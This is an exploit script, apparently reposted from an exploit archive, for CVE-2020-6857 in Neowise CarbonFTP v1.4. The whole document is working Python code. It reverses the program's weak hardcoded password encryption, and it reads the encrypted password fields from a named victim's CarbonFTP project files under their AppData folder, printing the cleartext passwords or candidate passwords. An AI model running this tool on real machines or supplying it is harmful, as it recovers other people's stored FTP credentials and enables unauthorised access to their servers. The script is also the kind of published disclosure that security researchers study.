Share
## https://sploitus.com/exploit?id=PACKETSTORM:157321
import time, string, sys, argparse, os, codecs  
  
#Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.  
#This should be compatible for Python 2 and 3 versions now, tested successfully.  
#Sample test password   
#LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947   
  
key="97F" #2431 in decimal, the weak hardcoded encryption key within the vuln program.  
chunk_sz=5 #number of bytes we must decrypt the password by.  
  
#Password is stored here:  
#C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP  
  
#Neowise CarbonFTP v1.4  
#Insecure Proprietary Password Encryption  
#By John Page (aka hyp3rlinx)  
#Apparition Security  
#===================================================  
  
def carbonftp_conf(conf_file):  
p=""  
pipe=-1  
passwd=""  
lst_of_passwds=[]  
try:  
for p in conf_file:  
idx = p.find("Password=STRING|")  
if idx != -1:  
pipe = p.find("|")  
if pipe != -1:  
passwd = p[pipe + 2: -2]  
print(" Password found: "+ passwd)  
lst_of_passwds.append(passwd)   
except Exception as e:  
print(str(e))  
return lst_of_passwds   
  
  
def reorder(lst):  
k=1  
j=0  
for n in range(len(lst)):  
k+=1  
j+=1  
try:  
tmp = lst[n+k]  
a = lst[n+j]  
lst[n+j] = tmp  
lst[n+k] = a  
except Exception as e:  
pass  
return ''.join(lst)  
  
  
def dec2hex(dec):  
tmp = str(hex(int(dec)))  
return str(tmp[2:])  
  
  
#Updated for Python version compatibility.  
def hex2ascii(h):  
h=h.strip()  
passwd=""  
try:  
passwd = codecs.decode(h, "hex").decode("ascii")  
except Exception as e:  
print("[!] In hex2ascii(), not a valid hex string.")  
exit()  
return passwd  
  
  
def chunk_passwd(passwd_lst):  
lst = []  
for passwd in passwd_lst:  
while passwd:  
lst.append(passwd[:chunk_sz])  
passwd = passwd[chunk_sz:]  
return lst  
  
  
def strip_non_printable_char(str):  
return ''.join([x for x in str if ord(x) > 31 or ord(x)==9])  
  
cnt = 0  
passwd_str=""  
def deob(c):  
  
global cnt, passwd_str  
  
tmp=""  
  
try:  
tmp = int(c) - int(key, 16)  
tmp = dec2hex(tmp)  
except Exception as e:  
print("[!] Not a valid CarbonFTP encrypted password.")  
exit()  
  
b=""  
a=""  
  
#Seems we can delete the second char as its most always junk.  
if cnt!=1:  
a = tmp[:2]  
cnt+=1  
else:  
b = tmp[:4]  
  
passwd_str += strip_non_printable_char(hex2ascii(a + b))  
hex_passwd_lst = list(passwd_str)  
return hex_passwd_lst  
  
  
def no_unique_chars(lst):  
c=0  
k=1  
j=0  
for i in range(len(lst)):  
k+=1  
j+=1  
try:  
a = lst[i]  
b = lst[i+1]  
if a != b:  
c+=1  
elif c==0:  
print("[!] Possible one char password?: " +str(lst[0]))  
return lst[0]  
except Exception as e:  
pass  
return False  
  
  
def decryptor(result_lst):  
  
global passwd_str, sz  
  
print(" Decrypting ... \n")  
for i in result_lst:  
print("[-] "+i)  
time.sleep(0.1)  
lst = deob(i)  
  
#Re-order chars to correct sequence using custom swap function (reorder).  
reordered_pass = reorder(lst)  
sz = len(reordered_pass)  
  
#Flag possible single char password.  
no_unique_chars(lst)  
  
print("[+] PASSWORD LENGTH: " + str(sz))  
if sz == 9:  
return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-3] + " | " + reordered_pass[:-4] + " | " +  
reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+ reordered_pass[:-7] + " | " + reordered_pass)  
  
#Shorter passwords less then nine chars will have several candidates  
#as they get padded with repeating chars so we return those.  
  
passwd_str=""  
return reordered_pass  
  
  
def display_cracked_passwd(sz, passwd):  
if sz==9:  
print("[*] PASSWORD CANDIDATES: "+ passwd + "\n")  
else:  
print("[*] DECRYPTED PASSWORD: "+passwd + "\n")  
  
  
def parse_args():  
parser = argparse.ArgumentParser()  
parser.add_argument("-u", "--user", help="Username to crack a directory of Carbon .CFTP password files")  
parser.add_argument("-p", "--encrypted_password", help="Crack a single encrypted password")  
return parser.parse_args()  
  
  
def main(args):  
  
global passwd_str, sz  
victim=""  
  
if args.user and args.encrypted_password:  
print("[!] Supply a victims username -u or single encrypted password -p, not both.")  
exit()  
  
print("[+] Neowise CarbonFTP v1.4")  
time.sleep(0.1)  
print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")  
time.sleep(0.1)  
print("[+] Version 2 Exploit fixed for Python 3 compatibility")  
time.sleep(0.1)  
print("[+] Discovered and cracked by hyp3rlinx")  
time.sleep(0.1)  
print("[+] ApparitionSec\n")  
time.sleep(1)  
  
#Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.  
if args.user:  
victim = args.user  
os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")  
dir_lst = os.listdir(".")  
for c in dir_lst:  
f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r")  
#Get encrypted password from conf file  
passwd_enc = carbonftp_conf(f)  
#Break up into 5 byte chunks as processed by the proprietary decryption routine.  
result_lst = chunk_passwd(passwd_enc)  
#Decrypt the 5 byte chunks and reassemble to the cleartext password.  
cracked_passwd = decryptor(result_lst)  
#Print cracked password or candidates.  
display_cracked_passwd(sz, cracked_passwd)  
time.sleep(0.3)  
passwd_str=""  
f.close()  
  
  
#Crack a single password -p flag.  
if args.encrypted_password:  
passwd_to_crack_lst = []  
passwd_to_crack_lst.append(args.encrypted_password)  
result = chunk_passwd(passwd_to_crack_lst)  
#Print cracked password or candidates.  
cracked_passwd = decryptor(result)  
display_cracked_passwd(sz, cracked_passwd)  
  
  
if __name__=="__main__":  
  
parser = argparse.ArgumentParser()  
  
if len(sys.argv)==1:  
parser.print_help(sys.stderr)  
exit()  
  
main(parse_args())